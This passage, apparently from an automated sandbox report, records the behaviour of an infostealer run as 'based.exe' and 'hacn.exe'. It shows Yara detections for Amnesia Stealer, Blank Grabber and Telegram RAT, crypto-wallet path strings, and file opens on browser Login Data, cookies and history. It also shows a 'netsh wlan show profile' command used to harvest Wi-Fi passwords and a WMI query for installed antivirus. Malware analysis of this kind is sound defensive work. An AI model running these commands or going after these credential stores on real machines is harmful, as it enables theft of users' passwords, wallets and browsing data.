Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ca VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\cs VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\cs VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\da VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en_GB VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\et VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\et VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fi VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fr VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\id VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nb VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nl VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\ucrtbase.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\base_library.zip VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\svchost.exe

Code function: 0_2_00007FF67118B4B0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF67118B4B0

Source: C:\ProgramData\Microsoft\hacn.exe

Code function: 13_2_00007FFB01E943D0 _PyArg_ParseTuple_SizeT,GetUserNameW,?PyWin_SetAPIError@@YAPEAU_object@@PEADJ@Z,?PyWinObject_FromOLECHAR@@YAPEAU_object@@PEB_W@Z,

13_2_00007FFB01E943D0

Source: C:\Users\user\Desktop\svchost.exe

Code function: 0_2_00007FF6711A4D48 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF6711A4D48

Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe

Code function: 8_2_00BAD076 GetVersionExW,

8_2_00BAD076

Source: C:\Users\user\Desktop\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Amnesia Stealer

Source: Yara match	File source: 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: based.exe PID: 7492, type: MEMORYSTR

Yara detected Blank Grabber

Source: Yara match

File source: Process Memory Space: based.exe PID: 7492, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: based.exe PID: 7492, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxxz
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CCD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CCD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodusz
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: EthereumZ
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CCD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystoreZ

Tries to harvest and steal WLAN passwords

Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\events	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\tmp	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\security_state	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\protections.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\permissions.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\bookmarkbackups	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\default	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\6f70cc77-7837-4f44-9c31-7de59e446d67	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
